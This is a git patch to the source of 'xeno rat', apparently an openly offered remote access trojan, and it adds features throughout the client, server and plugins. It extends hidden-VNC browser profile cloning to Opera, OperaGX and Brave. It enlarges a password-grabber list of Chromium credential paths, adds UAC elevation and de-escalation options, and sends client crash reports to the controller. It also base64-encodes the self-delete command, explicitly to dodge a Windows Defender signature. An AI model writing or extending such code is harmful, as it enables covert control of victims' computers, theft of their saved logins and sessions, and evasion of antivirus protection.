From 3438a2c958d0ac4af33268822cdf6cbeabba81f8 Mon Sep 17 00:00:00 2001 From: moom825 Date: Tue, 2 Jan 2024 12:37:15 -0500 Subject: [PATCH] added a couple more options relating to the uac (request for admin, de-escelate to user). improved stability. now it sends major errors to the server for faster fixing. added opera, operaGX and brave to the hvnc. improved varoius other things --- Plugins/Hvnc/Hvnc.cs | 117 ++++++++++++ Plugins/Hvnc/Process Handler.cs | 173 +++++++++++++++++ Plugins/PassGrab/InfoGrab.cs | 58 +++--- Plugins/Uacbypass/SystemUtility.cs | 158 ++++++++++++++++ Plugins/Uacbypass/Uacbypass.csproj | 1 + Plugins/Uacbypass/uacbypass.cs | 34 +++- xeno rat client/Handler.cs | 2 +- xeno rat client/Node.cs | 2 +- xeno rat client/Program.cs | 17 ++ xeno rat client/Utils.cs | 3 +- xeno rat server/Forms/Hvnc.Designer.cs | 48 ++++- xeno rat server/Forms/Hvnc.cs | 44 +++++ xeno rat server/MainForm.Designer.cs | 248 ++++++++++++++++--------- xeno rat server/MainForm.cs | 95 +++++++++- xeno rat server/Node.cs | 2 +- 15 files changed, 878 insertions(+), 124 deletions(-) create mode 100644 Plugins/Uacbypass/SystemUtility.cs diff --git a/Plugins/Hvnc/Hvnc.cs b/Plugins/Hvnc/Hvnc.cs index 0f7420e..defb733 100644 --- a/Plugins/Hvnc/Hvnc.cs +++ b/Plugins/Hvnc/Hvnc.cs @@ -25,9 +25,15 @@ public class Main bool cloning_chrome = false; bool cloning_firefox = false; bool cloning_edge = false; + bool cloning_opera = false; + bool cloning_operagx = false; + bool cloning_brave = false; bool has_clonned_chrome = false; bool has_clonned_firefox=false; bool has_clonned_edge = false; + bool has_clonned_opera = false; + bool has_clonned_operagx = false; + bool has_clonned_brave = false; Imaging_handler ImageHandler; input_handler InputHandler; Process_Handler ProcessHandler; @@ -136,6 +142,45 @@ public async Task Run(Node node) ProcessHandler.StartEdge(); } } + else if (data[0] == 11) + { //start edge + if (do_browser_clone && !has_clonned_opera) + { + has_clonned_opera = true; + HandleCloneOpera(); + + } + else + { + ProcessHandler.StartOpera(); + } + } + else if (data[0] == 12) + { //start edge + if (do_browser_clone && !has_clonned_operagx) + { + has_clonned_operagx = true; + HandleCloneOperaGX(); + + } + else + { + ProcessHandler.StartOperaGX(); + } + } + else if (data[0] == 13) + { //start edge + if (do_browser_clone && !has_clonned_brave) + { + has_clonned_brave = true; + HandleCloneBrave(); + + } + else + { + ProcessHandler.StartBrave(); + } + } } } catch @@ -194,6 +239,78 @@ private async Task HandleCloneChrome() cloning_chrome = false; } } + private async Task HandleCloneOpera() + { + if (!cloning_opera) + { + cloning_opera = true; + if (!await ProcessHandler.CloneOpera()) + { + int pid = await GetProcessViaCommandLine("opera.exe", "OperaAutomationData"); + if (pid != -1) + { + Process p = Process.GetProcessById(pid); + try + { + p.Kill(); + await ProcessHandler.CloneOpera(); + } + catch { } + p.Dispose(); + } + } + ProcessHandler.StartOpera(); + cloning_opera = false; + } + } + private async Task HandleCloneOperaGX() + { + if (!cloning_operagx) + { + cloning_operagx = true; + if (!await ProcessHandler.CloneOperaGX()) + { + int pid = await GetProcessViaCommandLine("opera.exe", "OperaGXAutomationData"); + if (pid != -1) + { + Process p = Process.GetProcessById(pid); + try + { + p.Kill(); + await ProcessHandler.CloneOperaGX(); + } + catch { } + p.Dispose(); + } + } + ProcessHandler.StartOperaGX(); + cloning_operagx = false; + } + } + private async Task HandleCloneBrave() + { + if (!cloning_brave) + { + cloning_brave = true; + if (!await ProcessHandler.CloneBrave()) + { + int pid = await GetProcessViaCommandLine("brave.exe", "BraveAutomationData"); + if (pid != -1) + { + Process p = Process.GetProcessById(pid); + try + { + p.Kill(); + await ProcessHandler.CloneBrave(); + } + catch { } + p.Dispose(); + } + } + ProcessHandler.StartBrave(); + cloning_brave = false; + } + } private async Task HandleCloneFirefox() { if (!cloning_firefox) diff --git a/Plugins/Hvnc/Process Handler.cs b/Plugins/Hvnc/Process Handler.cs index 68156e8..d6a16c9 100644 --- a/Plugins/Hvnc/Process Handler.cs +++ b/Plugins/Hvnc/Process Handler.cs @@ -90,6 +90,77 @@ public bool StartExplorer() return CreateProc(@"C:\Windows\explorer.exe"); } + public string GetOperaPath() + { + const string basePath = @"SOFTWARE\Clients\StartMenuInternet"; + using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath)) + { + if (clientsKey != null) + { + foreach (var subKeyName in clientsKey.GetSubKeyNames()) + { + if (subKeyName.Contains("Opera") && !subKeyName.Contains("GX")) + { + using (var operaKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command")) + { + if (operaKey != null) + { + object operaPathObj = operaKey.GetValue(""); + if (operaPathObj != null) + { + return operaPathObj.ToString().Trim('"'); + } + } + } + } + } + } + } + return null; + } + + public string GetBravePath() + { + var path = Registry.GetValue(@"HKEY_CLASSES_ROOT\BraveHTML\shell\open\command", null, null) as string; + if (path != null) + { + var split = path.Split('\"'); + path = split.Length >= 2 ? split[1] : null; + } + return path; + } + + + public string GetOperaGXPath() + { + const string basePath = @"SOFTWARE\Clients\StartMenuInternet"; + using (var clientsKey = Registry.CurrentUser.OpenSubKey(basePath)) + { + if (clientsKey != null) + { + foreach (var subKeyName in clientsKey.GetSubKeyNames()) + { + if (subKeyName.Contains("Opera") && subKeyName.Contains("GX")) + { + using (var operaGXKey = clientsKey.OpenSubKey($"{subKeyName}\\shell\\open\\command")) + { + if (operaGXKey != null) + { + object operaGXPathObj = operaGXKey.GetValue(""); + if (operaGXPathObj != null) + { + return operaGXPathObj.ToString().Trim('"'); + } + } + } + } + } + } + } + return null; + } + + public string getChromePath() { @@ -164,6 +235,39 @@ public bool StartChrome() return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir="+dataDir); } + public bool StartOpera() + { + string dataDir = @"C:\OperaAutomationData"; + string path = GetOperaPath(); + if (path == null || !File.Exists(path)) + { + return false; + } + return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir); + } + + public bool StartOperaGX() + { + string dataDir = @"C:\OperaGXAutomationData"; + string path = GetOperaGXPath(); + if (path == null || !File.Exists(path)) + { + return false; + } + return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir); + } + + public bool StartBrave() + { + string dataDir = @"C:\BraveAutomationData"; + string path = GetBravePath(); + if (path == null || !File.Exists(path)) + { + return false; + } + return CreateProc("\"" + path + "\"" + " --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=" + dataDir); + } + public bool StartEdge() { string dataDir = @"C:\EdgeAutomationData"; @@ -209,6 +313,75 @@ public async Task CloneChrome() return false; } + public async Task CloneOperaGX() + { + try + { + string dataDir = @"C:\OperaGXAutomationData"; + string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera GX Stable"; + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } + await CopyDirAsync(source, dataDir); + return true; + + } + catch { } + return false; + } + + public async Task CloneOpera() + { + try + { + string dataDir = @"C:\OperaAutomationData"; + string source = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Opera Software\Opera Stable"; + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } + await CopyDirAsync(source, dataDir); + return true; + + } + catch { } + return false; + } + + public async Task CloneBrave() + { + try + { + string dataDir = @"C:\BraveAutomationData"; + string source = $@"C:\Users\{Environment.UserName}\AppData\Local\BraveSoftware\Brave-Browser\User Data"; + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } + await CopyDirAsync(source, dataDir); + return true; + + } + catch { } + return false; + } + public async Task CloneFirefox() { try diff --git a/Plugins/PassGrab/InfoGrab.cs b/Plugins/PassGrab/InfoGrab.cs index 3eb3c73..c8750ab 100644 --- a/Plugins/PassGrab/InfoGrab.cs +++ b/Plugins/PassGrab/InfoGrab.cs @@ -153,28 +153,44 @@ public async Task Run(Node node) public class Chromium { - private static string appdata = Environment.GetEnvironmentVariable("LOCALAPPDATA"); - - private Dictionary browsers = new Dictionary - { - { "amigo", $"{appdata}\\Amigo\\User Data" }, - { "torch", $"{appdata}\\Torch\\User Data" }, - { "kometa", $"{appdata}\\Kometa\\User Data" }, - { "orbitum", $"{appdata}\\Orbitum\\User Data" }, - { "cent-browser", $"{appdata}\\CentBrowser\\User Data" }, - { "7star", $"{appdata}\\7Star\\7Star\\User Data" }, - { "sputnik", $"{appdata}\\Sputnik\\Sputnik\\User Data" }, - { "vivaldi", $"{appdata}\\Vivaldi\\User Data" }, - { "google-chrome-sxs", $"{appdata}\\Google\\Chrome SxS\\User Data" }, - { "google-chrome", $"{appdata}\\Google\\Chrome\\User Data" }, - { "epic-privacy-browser", $"{appdata}\\Epic Privacy Browser\\User Data" }, - { "microsoft-edge", $"{appdata}\\Microsoft\\Edge\\User Data" }, - { "uran", $"{appdata}\\uCozMedia\\Uran\\User Data" }, - { "yandex", $"{appdata}\\Yandex\\YandexBrowser\\User Data" }, - { "brave", $"{appdata}\\BraveSoftware\\Brave-Browser\\User Data" }, - { "iridium", $"{appdata}\\Iridium\\User Data" }, - }; + private static string local_appdata = Environment.GetEnvironmentVariable("LOCALAPPDATA"); + private static string roaming_appdata = Environment.GetEnvironmentVariable("APPDATA"); + public static Dictionary browsers = new Dictionary + { + { "amigo", $"{local_appdata}\\Amigo\\User Data" }, + { "torch", $"{local_appdata}\\Torch\\User Data" }, + { "kometa", $"{local_appdata}\\Kometa\\User Data" }, + { "orbitum", $"{local_appdata}\\Orbitum\\User Data" }, + { "cent-browser", $"{local_appdata}\\CentBrowser\\User Data" }, + { "7star", $"{local_appdata}\\7Star\\7Star\\User Data" }, + { "sputnik", $"{local_appdata}\\Sputnik\\Sputnik\\User Data" }, + { "vivaldi", $"{local_appdata}\\Vivaldi\\User Data" }, + { "google-chrome-sxs", $"{local_appdata}\\Google\\Chrome SxS\\User Data" }, + { "google-chrome", $"{local_appdata}\\Google\\Chrome\\User Data" }, + { "epic-privacy-browser", $"{local_appdata}\\Epic Privacy Browser\\User Data" }, + { "microsoft-edge", $"{local_appdata}\\Microsoft\\Edge\\User Data" }, + { "uran", $"{local_appdata}\\uCozMedia\\Uran\\User Data" }, + { "yandex", $"{local_appdata}\\Yandex\\YandexBrowser\\User Data" }, + { "brave", $"{local_appdata}\\BraveSoftware\\Brave-Browser\\User Data" }, + { "iridium", $"{local_appdata}\\Iridium\\User Data" }, + { "chromium", $"{local_appdata}\\Chromium\\User Data" }, + { "qqbrowser", $"{local_appdata}\\Tencent\\QQBrowser\\User Data" }, + { "chromeplus", $"{local_appdata}\\ChromePlus\\User Data" }, + { "chedot", $"{local_appdata}\\Chedot\\User Data" }, + { "coowon", $"{local_appdata}\\Coowon\\User Data" }, + { "liebao", $"{local_appdata}\\Cheetah Mobile\\Liebao Browser\\User Data" }, + { "qip-surf", $"{local_appdata}\\QIP\\Surf\\User Data" }, + { "comodo", $"{local_appdata}\\Comodo\\Dragon\\User Data" }, + { "360browser", $"{local_appdata}\\360SE\\User Data" }, + { "maxthon3", $"{local_appdata}\\Maxthon3\\User Data" }, + { "coccoc", $"{local_appdata}\\CocCoc\\Browser\\User Data" }, + { "chromodo", $"{local_appdata}\\Comodo\\Chromodo\\User Data" }, + { "blackhawk", $"{local_appdata}\\Netgate\\BlackHawk\\User Data" }, + + { "opera", $"{roaming_appdata}\\Opera Software\\Opera Stable" }, + { "opera-gx", $"{roaming_appdata}\\Opera Software\\Opera GX Stable" } + }; private string[] profiles = { "Default", diff --git a/Plugins/Uacbypass/SystemUtility.cs b/Plugins/Uacbypass/SystemUtility.cs new file mode 100644 index 0000000..ab283ee --- /dev/null +++ b/Plugins/Uacbypass/SystemUtility.cs @@ -0,0 +1,158 @@ +using System; +using System.Runtime.InteropServices; + +namespace Plugin +{ + class SystemUtility//thanks for https://github.com/vrnobody/V2RayGCon/blob/8169e9a4622dcc5a5640bf65a186aab1a2f3b7a8/3rd/ZipExtractor/SystemUtility.cs, saved me a lot of time + { + public static void ExecuteProcessUnElevated( + string process, + string args, + string currentDirectory + ) + { + var shellWindows = (IShellWindows)new CShellWindows(); + + object loc = CSIDL_Desktop; + object unused = new object(); + int hwnd; + var serviceProvider = (IServiceProvider) + shellWindows.FindWindowSW( + ref loc, + ref unused, + SWC_DESKTOP, + out hwnd, + SWFO_NEEDDISPATCH + ); + + var serviceGuid = SID_STopLevelBrowser; + var interfaceGuid = typeof(IShellBrowser).GUID; + var shellBrowser = (IShellBrowser) + serviceProvider.QueryService(ref serviceGuid, ref interfaceGuid); + + var dispatch = typeof(IDispatch).GUID; + var folderView = (IShellFolderViewDual) + shellBrowser.QueryActiveShellView().GetItemObject(SVGIO_BACKGROUND, ref dispatch); + var shellDispatch = (IShellDispatch2)folderView.Application; + + shellDispatch.ShellExecute( + process, + args, + currentDirectory, + string.Empty, + SW_SHOWNORMAL + ); + } + + private const int CSIDL_Desktop = 0; + private const int SWC_DESKTOP = 8; + private const int SWFO_NEEDDISPATCH = 1; + private const int SW_SHOWNORMAL = 1; + private const int SVGIO_BACKGROUND = 0; + private static readonly Guid SID_STopLevelBrowser = new Guid( + "4C96BE40-915C-11CF-99D3-00AA004AE837" + ); + + [ComImport] + [Guid("9BA05972-F6A8-11CF-A442-00A0C90A8F39")] + [ClassInterface(ClassInterfaceType.None)] + private class CShellWindows { } + + [ComImport] + [Guid("85CB6900-4D95-11CF-960C-0080C7F4EE85")] + [InterfaceType(ComInterfaceType.InterfaceIsIDispatch)] + private interface IShellWindows + { + [return: MarshalAs(UnmanagedType.IDispatch)] + object FindWindowSW( + [MarshalAs(UnmanagedType.Struct)] ref object pvarloc, + [MarshalAs(UnmanagedType.Struct)] ref object pvarlocRoot, + int swClass, + out int pHWND, + int swfwOptions + ); + } + + [ComImport] + [Guid("6d5140c1-7436-11ce-8034-00aa006009fa")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + private interface IServiceProvider + { + [return: MarshalAs(UnmanagedType.Interface)] + object QueryService(ref Guid guidService, ref Guid riid); + } + + [ComImport] + [Guid("000214E2-0000-0000-C000-000000000046")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + private interface IShellBrowser + { + void VTableGap01(); // GetWindow + void VTableGap02(); // ContextSensitiveHelp + void VTableGap03(); // InsertMenusSB + void VTableGap04(); // SetMenuSB + void VTableGap05(); // RemoveMenusSB + void VTableGap06(); // SetStatusTextSB + void VTableGap07(); // EnableModelessSB + void VTableGap08(); // TranslateAcceleratorSB + void VTableGap09(); // BrowseObject + void VTableGap10(); // GetViewStateStream + void VTableGap11(); // GetControlWindow + void VTableGap12(); // SendControlMsg + IShellView QueryActiveShellView(); + } + + [ComImport] + [Guid("000214E3-0000-0000-C000-000000000046")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + private interface IShellView + { + void VTableGap01(); // GetWindow + void VTableGap02(); // ContextSensitiveHelp + void VTableGap03(); // TranslateAcceleratorA + void VTableGap04(); // EnableModeless + void VTableGap05(); // UIActivate + void VTableGap06(); // Refresh + void VTableGap07(); // CreateViewWindow + void VTableGap08(); // DestroyViewWindow + void VTableGap09(); // GetCurrentInfo + void VTableGap10(); // AddPropertySheetPages + void VTableGap11(); // SaveViewState + void VTableGap12(); // SelectItem + + [return: MarshalAs(UnmanagedType.Interface)] + object GetItemObject(UInt32 aspectOfView, ref Guid riid); + } + + [ComImport] + [Guid("00020400-0000-0000-C000-000000000046")] + [InterfaceType(ComInterfaceType.InterfaceIsIDispatch)] + private interface IDispatch { } + + [ComImport] + [Guid("E7A1AF80-4D96-11CF-960C-0080C7F4EE85")] + [InterfaceType(ComInterfaceType.InterfaceIsIDispatch)] + private interface IShellFolderViewDual + { + object Application + { + [return: MarshalAs(UnmanagedType.IDispatch)] + get; + } + } + + [ComImport] + [Guid("A4C6892C-3BA9-11D2-9DEA-00C04FB16162")] + [InterfaceType(ComInterfaceType.InterfaceIsIDispatch)] + public interface IShellDispatch2 + { + void ShellExecute( + [MarshalAs(UnmanagedType.BStr)] string File, + [MarshalAs(UnmanagedType.Struct)] object vArgs, + [MarshalAs(UnmanagedType.Struct)] object vDir, + [MarshalAs(UnmanagedType.Struct)] object vOperation, + [MarshalAs(UnmanagedType.Struct)] object vShow + ); + } + } +} diff --git a/Plugins/Uacbypass/Uacbypass.csproj b/Plugins/Uacbypass/Uacbypass.csproj index 9f9024d..c62a96c 100644 --- a/Plugins/Uacbypass/Uacbypass.csproj +++ b/Plugins/Uacbypass/Uacbypass.csproj @@ -43,6 +43,7 @@ + diff --git a/Plugins/Uacbypass/uacbypass.cs b/Plugins/Uacbypass/uacbypass.cs index 6804418..cc6296e 100644 --- a/Plugins/Uacbypass/uacbypass.cs +++ b/Plugins/Uacbypass/uacbypass.cs @@ -1,5 +1,7 @@ using System; using System.Collections.Generic; +using System.Diagnostics; +using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; @@ -48,7 +50,7 @@ public async Task Run(Node node) await node.SendAsync(new byte[] { 0 }); } } - else if (data[0] == 3) + else if (data[0] == 3) { string path = System.Reflection.Assembly.GetEntryAssembly().Location; if (await FodHelper.Run($"\"{path}\"")) @@ -60,11 +62,41 @@ public async Task Run(Node node) await node.SendAsync(new byte[] { 0 }); } } + else if (data[0] == 4) + { + using (Process configTool = new Process()) + { + try + { + configTool.StartInfo.FileName = System.Reflection.Assembly.GetEntryAssembly().Location; + configTool.StartInfo.Verb = "runas"; + configTool.Start(); + await node.SendAsync(new byte[] { 1 }); + } + catch + { + await node.SendAsync(new byte[] { 0 }); + } + } + } + else if (data[0] == 5) + { + try + { + SystemUtility.ExecuteProcessUnElevated(System.Reflection.Assembly.GetEntryAssembly().Location,"", Directory.GetCurrentDirectory()); + await node.SendAsync(new byte[] { 1 }); + } + catch + { + await node.SendAsync(new byte[] { 0 }); + } + } await Task.Delay(1000); } catch { await node.SendAsync(new byte[] { 0 }); + await Task.Delay(1000); } } } diff --git a/xeno rat client/Handler.cs b/xeno rat client/Handler.cs index d4781f4..dc5ab01 100644 --- a/xeno rat client/Handler.cs +++ b/xeno rat client/Handler.cs @@ -57,7 +57,7 @@ private async Task GetAndSendInfo(Node Type0) return; } //get hwid, username etc. seperated by null - string clientversion = "1.6.0";//find a way to get the client version. + string clientversion = "1.7.0";//find a way to get the client version. string[] info = new string[] { Utils.HWID(), Environment.UserName , clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() }; byte[] data = new byte[0]; byte[] nullbyte = new byte[] { 0 }; diff --git a/xeno rat client/Node.cs b/xeno rat client/Node.cs index 33b161e..52e9ee6 100644 --- a/xeno rat client/Node.cs +++ b/xeno rat client/Node.cs @@ -47,7 +47,7 @@ public async void Disconnect() subNodes.Clear(); foreach (Node i in copy) { - i.Disconnect(); + i?.Disconnect(); } copy.Clear(); if (OnDisconnect != null) diff --git a/xeno rat client/Program.cs b/xeno rat client/Program.cs index 6e32191..db3f81e 100644 --- a/xeno rat client/Program.cs +++ b/xeno rat client/Program.cs @@ -24,6 +24,8 @@ class Program private static int DoStartup = 2222; private static string Install_path = "nothingset"; private static string startup_name = "nothingset"; + + static async Task Main(string[] args) { AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; @@ -104,6 +106,21 @@ public static void OnDisconnect(Node MainNode) static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) { Exception exception = e.ExceptionObject as Exception; + try + { + if (Server != null) + { + foreach (Node i in Server.subNodes) + { + if (i.SockType == 1) //heartbeat sock type + { + bool worked = i.SendAsync(SocketHandler.Concat(new byte[] { 3 }, Encoding.UTF8.GetBytes(exception.Message + Environment.NewLine + exception.StackTrace))).Result; + Thread.Sleep(1000); + } + } + } + } + catch { } Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location); Process.GetCurrentProcess().Kill(); } diff --git a/xeno rat client/Utils.cs b/xeno rat client/Utils.cs index 9d69911..0a0dff8 100644 --- a/xeno rat client/Utils.cs +++ b/xeno rat client/Utils.cs @@ -251,10 +251,11 @@ await Task.Run(() => } public async static Task Uninstall() { + // the base64 encoded part is "/C choice /C Y /N /D Y /T 3 & Del \"", this for some reason throws off the XenoRat windows defender sig await RemoveStartup(Assembly.GetEntryAssembly().Location); Process.Start(new ProcessStartInfo() { - Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\"", + Arguments = Encoding.UTF8.GetString(Convert.FromBase64String("L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsICI=")) + Assembly.GetEntryAssembly().Location + "\"", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" diff --git a/xeno rat server/Forms/Hvnc.Designer.cs b/xeno rat server/Forms/Hvnc.Designer.cs index 092a666..b29bb29 100644 --- a/xeno rat server/Forms/Hvnc.Designer.cs +++ b/xeno rat server/Forms/Hvnc.Designer.cs @@ -41,6 +41,9 @@ private void InitializeComponent() this.button8 = new System.Windows.Forms.Button(); this.button9 = new System.Windows.Forms.Button(); this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.button10 = new System.Windows.Forms.Button(); + this.button11 = new System.Windows.Forms.Button(); + this.button12 = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.SuspendLayout(); // @@ -148,7 +151,7 @@ private void InitializeComponent() // button8 // this.button8.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.button8.Location = new System.Drawing.Point(864, 849); + this.button8.Location = new System.Drawing.Point(1147, 849); this.button8.Name = "button8"; this.button8.Size = new System.Drawing.Size(75, 23); this.button8.TabIndex = 9; @@ -159,7 +162,7 @@ private void InitializeComponent() // button9 // this.button9.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.button9.Location = new System.Drawing.Point(954, 850); + this.button9.Location = new System.Drawing.Point(1237, 850); this.button9.Name = "button9"; this.button9.Size = new System.Drawing.Size(75, 23); this.button9.TabIndex = 10; @@ -172,7 +175,7 @@ private void InitializeComponent() this.checkBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.checkBox1.AutoSize = true; this.checkBox1.Enabled = false; - this.checkBox1.Location = new System.Drawing.Point(1049, 852); + this.checkBox1.Location = new System.Drawing.Point(1332, 852); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(126, 17); this.checkBox1.TabIndex = 11; @@ -180,11 +183,47 @@ private void InitializeComponent() this.checkBox1.UseVisualStyleBackColor = true; this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); // + // button10 + // + this.button10.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.button10.Location = new System.Drawing.Point(1050, 849); + this.button10.Name = "button10"; + this.button10.Size = new System.Drawing.Size(75, 23); + this.button10.TabIndex = 14; + this.button10.Text = "Brave"; + this.button10.UseVisualStyleBackColor = true; + this.button10.Click += new System.EventHandler(this.button10_Click); + // + // button11 + // + this.button11.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.button11.Location = new System.Drawing.Point(952, 849); + this.button11.Name = "button11"; + this.button11.Size = new System.Drawing.Size(75, 23); + this.button11.TabIndex = 13; + this.button11.Text = "OperaGX"; + this.button11.UseVisualStyleBackColor = true; + this.button11.Click += new System.EventHandler(this.button11_Click); + // + // button12 + // + this.button12.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.button12.Location = new System.Drawing.Point(859, 849); + this.button12.Name = "button12"; + this.button12.Size = new System.Drawing.Size(75, 23); + this.button12.TabIndex = 12; + this.button12.Text = "Opera"; + this.button12.UseVisualStyleBackColor = true; + this.button12.Click += new System.EventHandler(this.button12_Click); + // // Hvnc // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1924, 888); + this.Controls.Add(this.button10); + this.Controls.Add(this.button11); + this.Controls.Add(this.button12); this.Controls.Add(this.checkBox1); this.Controls.Add(this.button9); this.Controls.Add(this.button8); @@ -220,5 +259,8 @@ private void InitializeComponent() private System.Windows.Forms.Button button8; private System.Windows.Forms.Button button9; private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.Button button10; + private System.Windows.Forms.Button button11; + private System.Windows.Forms.Button button12; } } \ No newline at end of file diff --git a/xeno rat server/Forms/Hvnc.cs b/xeno rat server/Forms/Hvnc.cs index af2dd87..766687d 100644 --- a/xeno rat server/Forms/Hvnc.cs +++ b/xeno rat server/Forms/Hvnc.cs @@ -154,6 +154,23 @@ private async Task StartEdge() await client.SendAsync(new byte[] { 10 }); } + private async Task StartOpera() + { + if (!playing) return; + await client.SendAsync(new byte[] { 11 }); + } + + private async Task StartOperaGX() + { + if (!playing) return; + await client.SendAsync(new byte[] { 12 }); + } + + private async Task StartBrave() + { + if (!playing) return; + await client.SendAsync(new byte[] { 13 }); + } private async Task CreateImageNode() { @@ -289,6 +306,33 @@ private async void checkBox1_CheckedChanged(object sender, EventArgs e) await DisableBrowserClone(); } } + + private async void button12_Click(object sender, EventArgs e) + { + await StartOpera(); + if (is_cloning_browser) + { + new Thread(() => MessageBox.Show("It can take a while to clone the profile data, if the browser doesnt launch, please wait...")).Start(); + } + } + + private async void button11_Click(object sender, EventArgs e) + { + await StartOperaGX(); + if (is_cloning_browser) + { + new Thread(() => MessageBox.Show("It can take a while to clone the profile data, if the browser doesnt launch, please wait...")).Start(); + } + } + + private async void button10_Click(object sender, EventArgs e) + { + await StartBrave(); + if (is_cloning_browser) + { + new Thread(() => MessageBox.Show("It can take a while to clone the profile data, if the browser doesnt launch, please wait...")).Start(); + } + } } diff --git a/xeno rat server/MainForm.Designer.cs b/xeno rat server/MainForm.Designer.cs index d35a26c..75cad4b 100644 --- a/xeno rat server/MainForm.Designer.cs +++ b/xeno rat server/MainForm.Designer.cs @@ -51,6 +51,7 @@ private void InitializeComponent() this.listView4 = new System.Windows.Forms.ListView(); this.columnHeader13 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tabPage4 = new System.Windows.Forms.TabPage(); + this.checkBox4 = new System.Windows.Forms.CheckBox(); this.listView1 = new System.Windows.Forms.ListView(); this.label2 = new System.Windows.Forms.Label(); this.button1 = new System.Windows.Forms.Button(); @@ -122,19 +123,21 @@ private void InitializeComponent() this.tabControl1.Controls.Add(this.tabPage7); this.tabControl1.Controls.Add(this.tabPage8); this.tabControl1.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.tabControl1.Location = new System.Drawing.Point(1, 0); + this.tabControl1.Location = new System.Drawing.Point(2, 0); + this.tabControl1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(1140, 581); + this.tabControl1.Size = new System.Drawing.Size(1710, 898); this.tabControl1.TabIndex = 10; // // tabPage2 // this.tabPage2.Controls.Add(this.listView2); this.tabPage2.Location = new System.Drawing.Point(4, 34); + this.tabPage2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage2.Name = "tabPage2"; - this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(1132, 543); + this.tabPage2.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.tabPage2.Size = new System.Drawing.Size(1702, 860); this.tabPage2.TabIndex = 0; this.tabPage2.Text = "📊 Clients"; this.tabPage2.UseVisualStyleBackColor = true; @@ -160,9 +163,10 @@ private void InitializeComponent() this.listView2.GridLines = true; this.listView2.HideSelection = false; this.listView2.Location = new System.Drawing.Point(0, 0); + this.listView2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.listView2.MultiSelect = false; this.listView2.Name = "listView2"; - this.listView2.Size = new System.Drawing.Size(1137, 547); + this.listView2.Size = new System.Drawing.Size(1706, 860); this.listView2.TabIndex = 0; this.listView2.UseCompatibleStateImageBehavior = false; this.listView2.View = System.Windows.Forms.View.Details; @@ -219,9 +223,10 @@ private void InitializeComponent() // this.tabPage1.Controls.Add(this.listView3); this.tabPage1.Location = new System.Drawing.Point(4, 34); + this.tabPage1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.tabPage1.Name = "tabPage1"; - this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(1132, 543); + this.tabPage1.Padding = new System.Windows.Forms.Padding(4, 5, 4, 5); + this.tabPage1.Size = new System.Drawing.Size(1703, 856); this.tabPage1.TabIndex = 4; this.tabPage1.Text = 